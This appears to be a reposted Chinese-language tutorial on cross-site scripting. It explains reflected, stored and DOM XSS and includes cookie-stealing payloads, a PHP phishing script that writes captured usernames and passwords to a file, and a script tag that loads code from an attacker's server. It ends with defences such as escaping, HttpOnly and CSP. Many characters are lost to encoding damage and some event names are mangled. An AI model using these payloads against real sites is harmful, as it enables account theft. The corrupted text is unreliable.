-
跨站腳本(XSS)漏洞
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為 XSS ,惡意攻擊者往 Web ???插?惡意 JavaScript代碼,當?戶瀏覽該?之時,嵌? Web ???的代碼會被執?,從?達到惡意攻擊?戶的?的,

-
常見型別
反射性XSS:payload經過后端,不經過資料庫
存盤型XSS:payload經過后端,經過資料庫
DOM型XSS:payload不經過后端
XSS漏洞
- 1.原理
- 1.1.成因
- 1.2.反射型XSS
- 1.3.存盤型XSS
- 1.4.DOM型XSS
- 1.5.Self XSS
- 2.利用
- 2.1.Payload
- 2.2.獲取用戶資訊
- 2.3.釣魚網站
- 2.4.流量劫持
- 3.危害
- 4.防御
1.原理
1.1.成因
漏洞成因:
由于動態網頁的Web應用對用戶提交請求引數未做充分的檢查過濾,允許用戶在提交的資料中摻HTML代碼(最主要的是“>”、“<”),然后未加編碼地輸出到第三方用戶的瀏覽器,這些攻擊者惡意提交代碼(payload)會被受害用戶的瀏覽器解釋執行,
1.2.反射型XSS
概念:
?持久化,需要欺騙?戶點擊鏈接才能觸發 XSS 代碼(資料庫中沒有這樣的??和內容),Payload ?般存在于 URL 或者 HTTP 正?中,需要構造??,或者構造 URL,
資料流向:瀏覽器——>后端——>瀏覽器
1.3.存盤型XSS
概念:
持久化,代碼儲存在資料庫中,如在個?資訊或發表?章等地?,假如代碼沒有過濾或過濾不嚴,那么這些代碼將儲存到資料庫中,?戶訪問該??的時候出發代碼執?,這種 XSS ?較危險,容易造成蠕?,盜竊 Cookie 等,
資料流向:瀏覽器——>后端——>資料庫——>后端——>瀏覽器
1.4.DOM型XSS
概念:
DOM XSS的XSS代碼并不需要服務器決議回應的直接參與,觸發XSS靠的就是瀏覽器端的DOM決議可以認為完全是客戶端的事情,
可以觸發dom型xss的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
1.5.Self XSS
概念:
??輸?xss腳本,輸出僅??看到,僅xss到??,
危害小
2.利用
2.1.Payload
Payload 的中?含義是有效載荷,在 XSS 中指代攻擊代碼或攻擊陳述句,
常?的 Payload 有:
正常彈窗:
<script>alert(1)</script>
<img src=0 one rror=alert(1)>
彈出?站 Cookie:
<script>alert(document.cookie)</script>
<img src=0 one rror=alert(document.cookie)>
除了以上的paylaod,有很多標簽,事件,屬性都是可以拿來執?js的,
可以執?js的標簽:
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
可以執?js的事件(所有的事件都是以on開頭的):
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort
onkeydown onkeypress onkeyup onclick ondbclick onm ouseover onm ousemove
onmouseout onm ouseup onforminput onformchange ondrag ondrop
可以執?js的屬性:
formaction action href xlink:href autofocus src content data
2.2.獲取用戶資訊
Cookie:
在??瀏覽中我們常常涉及到?戶登錄,登錄完畢之后服務端會回傳?個cookie值,這個cookie值相當
于?個令牌,拿著這張令牌就等同于證明了你是某個?戶,
利用:
如果你的cookie值被竊取,那么攻擊者很可能能夠直接利?你的這張令牌不?密碼就登錄你的賬戶,如果想要通過script腳本獲得當前??的cookie值,通常會?到document.cookie,
BlueLotus”xss平臺的使用:
https://blog.csdn.net/qq_52358808/article/details/120002782?spm=1001.2014.3001.5502
2.3.釣魚網站
制作釣魚界面:
為了模擬真實的登錄??,可以將原?站的登錄??的原始碼復制下了,然后將??的?些路徑修改為?站的地址,
接收資料:
將地址修改為接收傳遞過來的資料的地址,然后將該釣???插?到存在XSS漏洞的地?即可,注意,插?的前提需要漏洞點可以插?以上釣???的標簽,
當受害者輸?賬號密碼之后會通過該??進?接收,然后回傳正常的?站??,
<?php
$name = $_GET['user'];
$pwd = $_GET['password'];
$userpwd = $name.":".$pwd;
fputs(fopen("test.txt","w"),"$userpwd");
header('Location:http://服務器ip');
?>
Payload:
iframe元素會創建包含另外?個?檔的行內框架,也就是說如果我們在??中添加了?個iframe元素,src?個需要行內的?址,然后src的??就會加載在當前?站,這樣當我們的xss代碼被觸發的時候,?站就會內嵌?個我們偽造的?模?樣的釣???在管理員的瀏覽器上,管理員可能就以為??退出了系統,然后重新輸??戶名和密碼,這樣密碼就會發送到我們的服務器上,我們就可以利??戶名和密碼進?登錄了,
攻擊paylaod:
<script src=http://服務器ip/cookie.js></script>
2.4.流量劫持
攻擊payload:
<script>window.location.href="http://www.baidu.com";</script>
3.危害
獲取?戶資訊:如瀏覽器資訊、ip 地址、cookie 資訊等
釣?:利? xss 漏洞構造出?個登錄框,騙取?戶賬戶密碼,提示登錄過期,模擬?個?站的登錄框,將?戶名、密碼發送到攻擊者服務器,
注???或?告鏈接:有些在主站注??法?站的鏈接,對公司的聲譽有?定的影響,
后臺?站資料操作:配合 CSRF 漏洞,騙取?戶點擊,利? js 模擬瀏覽器發包,
xss 蠕?:微博蠕?只要看過某?的微博就是?動關注某?;貼吧蠕?:看過某個帖?就?動回復,
4.防御
輸入過濾:
對?戶提交的資料進?有效性驗證,僅接受指定?度范圍內并符合我們期望格式的的內容提交,阻?或者忽略除此外的其他任何資料,
輸出轉義:
在變數輸出到 HTML ??時,可以使?編碼或轉義的?式來防御 XSS 攻擊
例如:htmlspecialchars()把預定義的字符轉換為 HTML 物體
http only:
HttpOnly是加在cookies上的?個標識,?于告訴瀏覽器不要向客戶端腳本(document.cookie或其他)暴露cookie,當你在cookie上設定HttpOnly標識后,瀏覽器就會知會到這是特殊的cookie,只能由服務器檢索到,所有來?客戶端腳本的訪問都會被禁?,
Httponly:禁?javascript讀取,如果cookie中的?個引數帶有httponly,則這個引數將不能被javascript獲取;httponly可以防?xss會話劫持攻擊,
配合CSP:
CSP(Content Security Policy)指的是內容安全策略,為了緩解很??部分潛在的跨站腳本問題,瀏覽器的擴展程式系統引?了內容安全策略(CSP)的?般概念,
CSP 本質上是建??名單,規定了瀏覽器只能夠執?特定來源的代碼;即使發?了xss攻擊,也不會加載來源不明的第三?腳本,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302975.html
標籤:其他
上一篇:[學習筆記]--資訊安全
